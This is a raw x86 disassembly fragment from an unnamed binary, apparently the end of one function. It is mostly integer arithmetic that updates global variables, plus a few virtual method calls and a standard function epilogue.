add esi, edx
mov eax, 0x4c84c1e9
imul ecx
mov eax, dword [0x459b50]
mov ecx, dword [0x459b58]
imul eax, eax, 0x1db98
sar edx, 0x12
imul ecx, ecx, 0x3b76e
mov edi, edx
add esi, edx
mov edx, dword [0x459b38]
imul edx, edx, 0xd61e3
shr edi, 0x1f
add edi, esi
add edi, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x459b54]
mov eax, 0xf957fd3
imul ecx
mov ecx, dword [0x459b44]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x491979d9
imul ecx
sar edx, 0x11
mov ecx, edx
add edi, edx
mov edx, dword [ebp - 0x10d0]
shr ecx, 0x1f
add ecx, edi
push 0
push edx
mov dword [0x459b38], ecx
call fcn.00409730
mov ecx, dword [0x459b40]
mov eax, 0xf6ddfe9
imul ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0xa89b51e5
imul dword [0x459b4c]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, dword [0x459b38]
sub esi, ecx
imul eax, eax, 0x20dab
mov ecx, dword [0x459b48]
imul ecx, ecx, 0xbb797
add esi, ecx
mov ecx, dword [0x459b58]
mov edx, ecx
imul edx, edx, 0x3b76e
add esi, edx
add esi, eax
mov eax, 0x491979d9
imul dword [0x459b44]
sar edx, 0x11
mov eax, edx
add esi, edx
shr eax, 0x1f
add esp, 8
add eax, esi
sub eax, dword [0x459b54]
sub eax, 0xd61e3
mov dword [0x459b40], eax
jmp 0x4202a1
mov ecx, dword [0x459b58]
mov edi, dword [0x459b50]
mov eax, 0x491979d9
imul edi, edi, 0x3eb37
imul dword [0x459b44]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10c8], eax
mov eax, 0x3da796f7
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x89c36131
imul ecx
mov eax, dword [ebp - 0x10e4]
add edx, ecx
sar edx, 0x11
add edi, edx
mov esi, edx
mov edx, ecx
imul edx, edx, 0x9aa75
shr esi, 0x1f
add esi, edi
sub esi, edx
test eax, eax
mov dword [0x459b48], esi
mov byte [ebp - 4], 5
je 0x420320
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x459b58]
mov esi, dword [0x459b48]
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 4
je 0x420340
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov esi, dword [0x459b48]
mov ecx, dword [0x459b58]
mov eax, dword [ebp - 0x10d0]
test eax, eax
mov byte [ebp - 4], 2
je 0x420360
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [0x459b48]
mov ecx, dword [0x459b58]
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 1
je 0x420380
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x459b58]
mov esi, dword [0x459b48]
mov eax, dword [ebp - 0x10dc]
mov edi, dword [0x459b44]
inc eax
mov dword [ebp - 0x10dc], eax
mov ebx, eax
jmp 0x41e030
mov eax, dword [ebp - 0x10ec]
test eax, eax
mov byte [ebp - 4], 0
je 0x4203ba
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x459b58]
mov esi, dword [0x459b48]
mov eax, dword [0x459b4c]
imul esi, esi, 0x3eb04
imul ecx, ecx, 0xc0332
imul eax, eax, 0xd61e3
sub esi, eax
mov eax, 0xf6ddfe9
imul dword [0x459b3c]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b44]
sub esi, eax
mov eax, edx
imul eax, eax, 0x3b76e
sub esi, eax
mov eax, 0x491979d9
imul edx
mov eax, dword [ebp - 0x10f8]
add esi, ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
mov dword [0x459b50], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.0042d001
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret